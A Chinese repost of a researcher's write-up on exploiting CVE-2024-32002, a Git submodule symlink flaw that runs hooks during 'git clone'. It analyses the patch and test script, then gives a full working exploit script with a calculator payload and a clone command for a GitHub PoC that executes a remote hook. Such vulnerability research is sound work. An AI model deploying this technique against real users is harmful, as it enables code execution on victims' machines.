Git 中的一个新 RCE 引起了我对最近标记为 CVE-2024-32002 的安全源的注意。通过一个简单的命令触发 RCE 的想法git clone让我着迷。鉴于 Git 的普遍性和该命令的广泛使用clone,我立刻就产生了兴趣。像克隆存储库这样的例行公事真的可以打开远程代码执行的大门吗?我的好奇心被勾起,我必须一探究竟。另外,谁不想找借口以研究的名义破坏东西呢?
仅仅阅读 RCE 有什么乐趣?我想看到它造成严重破坏——也许会启动一个流氓应用程序,或者更糟糕的是,清除我的目录。至少,我希望它能弹出我的计算器。在这篇文章中,我将引导您完成逆向 Git RCE 的旅程,从最初的发现到制作一个有效的漏洞利用程序。
基本侦察
我在网上搜索是否有针对此 CVE 的公开 POC,但一无所获。不过,我很快就找到了官方公告:
具有子模块的存储库可以通过利用 Git 中的错误的方式来制作,从而可以欺骗它不将文件写入子模块的工作树,而是写入.git/目录。这允许编写一个在克隆操作仍在运行时执行的钩子,使用户没有机会检查正在执行的代码。……
解决方法
如果 Git 中禁用了符号链接支持(例如通过git config –global core.symlinks false),则所描述的攻击将不起作用。
与往常一样,最好避免从不受信任的来源克隆存储库。
该咨询的解释很有道理,但它给我留下的问题多于答案。Git 究竟是如何在幕后处理子模块的?符号链接在此漏洞中起什么作用?为了真正掌握其中的机制,我知道我必须更深入。没有比剖析源代码更好的方法来理解漏洞了……但是在深入研究源代码之前,我需要巩固对底层概念的理解。
得到 git在引擎盖下
git 是一个版本控制系统,可以跟踪代码随时间的变化。它通过将复杂项目划分为更小的、可管理的块(称为存储库)来管理它们。为了进一步简化这个过程,Git 使用子模块——本质上是嵌套在其他存储库中的存储库。将其视为一个开始,但对于代码而言。
每个子模块都驻留在主存储库内的指定目录中。Git 跟踪子模块的路径,确保准确记录更改。但是,有一个问题:在不区分大小写的文件系统上(如 Windows 和 macOS 上的默认文件系统),A/modules/x并且a/modules/x被视为相同的路径。这个看似微不足道的细节为我们的 CVE 奠定了基础。
符号链接
符号链接或符号链接是充当指向其他文件或目录的指针的文件系统对象。在 Git 上下文中,它们可用于引用存储库的其他部分。虽然符号链接很方便,但也可能被用于恶意目的。
深入研究源代码
扭转漏洞的最佳方法是查看补丁差异。我找到了修复该漏洞的提交:https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d
显示 CVE-2024-32002 补丁的 GitHub 提交
仅更改了两个文件,这真是令人松了一口气!
为了更快地浏览代码,我在本地克隆了 Git 的源代码,检查了最后一个已知的易受攻击的状态(版本 2.45.0),并在 VS Code 中打开它:
git clone https://github.com/git/git.git
git checkout v2.45.0
code .
在 VS Code 中打开 Git 源代码后,我开始检查修复漏洞的补丁。补丁的提交消息提供了有用的概述:
-
子模块:子模块路径不得包含符号链接 创建子模块路径时,我们必须小心不要遵循符号链接。否则,我们可以在克隆时跟踪指向 gitdir 的符号链接(这是有效的符号链接!)。
-
然而,在不区分大小写的文件系统上,clone当后者的路径仅在大小写与前者的路径不同时,我们会盲目地将作为操作一部分创建的目录替换为符号链接。
-
让我们简单地避免这种情况,希望在克隆时不必覆盖任何现有的文件/目录/符号链接。这样,我们甚至不会替换我们刚刚创建的目录。
-
这解决了 CVE-2024-32002。
关键变化在于两个文件:builtin/submodule–helper.c和t/t7406-submodule-update.sh。
检验builtin/submodule–helper.c
我重点关注该clone_submodule函数,该函数处理子模块的克隆过程。
-
新函数dir_contains_only_dotgit:此函数检查目录是否仅包含.git文件或目录。如果存在任何其他文件或目录,则会返回错误。这看起来像是一项安全检查,以确保目录不会无意中被符号链接覆盖。
-
更改clone_submodule:在继续克隆之前,Git 检查子模块目录是否存在且为空。如果不是,它将中止操作以避免意外覆盖。
检验t/t7406-submodule-update.sh
第二个文件t/t7406-submodule-update.sh是测试脚本:
测试脚本
里面似乎有一个关于漏洞重现的信息宝库。看起来很有希望!我决定集中精力。
1. 全局配置
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
该脚本设置 Git 配置选项:protocol.file.allow always启用 Git 的文件协议。core.symlinks true确保启用符号链接支持。
它还定义tell_tale_path为一个标记文件来检查 RCE 是否有效。
2. 设置钩子存储库
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
-
初始化一个名为 的新存储库hook。
-
创建一个写入的post-checkout钩子。hook-runtell_tale_path
-
将挂钩脚本提交到挂钩存储库。
3. 设置主存储库:
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
-
定义钩子存储库的路径。
-
初始化另一个名为 的存储库captain。
-
将挂钩存储库添加为子模块A/modules/x并提交此更改。
-
创建一个指向.git并用此符号链接更新索引的符号链接。
测试克隆操作:
这是测试脚本中的最后一部分:
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
-
验证tell_tale_path最初不存在。
-
尝试递归克隆 Captain 存储库,预计操作会失败。
-
检查错误消息directory not empty,确认漏洞的预防。
-
确保tell_tale_path仍然不存在,表明post-checkout钩子没有运行。我的目标是做相反的事情!
将一切拼凑在一起
凭借从补丁和测试脚本中收集到的见解,我对漏洞链有了牢固的掌握。问题的根源在于不区分大小写的文件系统将路径视为A/modules/x相同a/modules/x。这允许您在子模块内制作恶意符号链接。该符号链接以子模块路径的大小写变体命名(例如,A/modules/x),但巧妙地指向子模块的隐藏.git/目录。
当受害者克隆恶意存储库时,Git 会为子模块创建一个目录(例如,A/modules/x)。但是,文件系统不区分大小写的特性可能会导致 Git 错误地将符号链接 ( a/modules/x) 视为有效的替代项,并用它替换新创建的目录。这种看似无害的替换却有一个危险的后果:它将隐藏.git/目录暴露给 git 的执行上下文。
暴露的目录可以包含钩子——在各种 Git 操作期间自动执行的.git/脚本。攻击者的恶意钩子现在潜伏在众目睽睽之下,是由 Git 的正常操作触发的。这个钩子是我们可以注入 RCE 代码的地方!
获取 RCE
有了这种理解,我开始制作自己的漏洞利用程序。我按照测试脚本提供的蓝图进行了一些调整。我没有使用良性文件写入,而是post-checkout用自己的注入代码替换了挂钩。
我在 Windows 虚拟机中运行了漏洞利用脚本。但什么也没发生。当然,Windows 一开始很不高兴,因为显然只有管理员才能创建符号链接。
我以管理员身份运行 Git Bash 并验证符号链接工作正常。经过一番尝试和错误尝试后,我终于成功了!
Windows 上成功执行 RCE
用当地漏洞赏金猎人的名言来说,“繁荣!”。我们有计算器!
这是我的脚本的最终版本(为了清晰起见添加了注释):
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
我检查了/tmp/pwnd:
验证有效负载执行,确认 RCE 有效
非常整洁。但是,我在命令中使用了本地存储库
git clone:git clone --recursive captain hooked
我想使用远程存储库 URL 来重现它。毕竟,这就是现实世界的攻击者会做的事情。
武器化 GitHub 存储库
存储库中的 git 子模块使用本地文件系统路径captain指向存储库:hook
$ cat captain/.gitmodules
[submodule "x/y"]
path = A/modules/x
url = C:/Users/user/rce/hook
我将其替换为 SSH URL:
[ ]
path = A/modules/x
url = [email protected]:amalmurali47/hook.git
进行此更改后,我将captain和hook存储库上传到 GitHub。一切就绪后,我从终端执行了递归克隆来测试设置。
在Windows上执行:
通过远程 GitHub 存储库 URL 在 Windows 上成功执行 RCE
Mac 上执行:
通过远程 GitHub 存储库 URL 在 Mac 上成功执行 RCE
我在不到 30 分钟的时间内就完成了完整的漏洞利用。对于一个下午的工作来说还不错!
工作概念验证
您可以在 GitHub 上找到完整的 PoC 存储库:amalmurali47/git_rce。
https://github.com/amalmurali47/git_rce
该存储库包含子模块和利用脚本。此外,包含该钩子的恶意子模块存储库可在此处找到:amalmurali47/hook。
https://github.com/amalmurali47/hook
要重现该漏洞,请递归克隆存储库,如下所示:
git clone --recursive [email protected]:amalmurali47/git_rce.git
Exploiting CVE-2024-32002: RCE via git clone
https://amalmurali.me/posts/git-rce/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):利用 CVE-2024-32002:通过 git clone 进行 RCE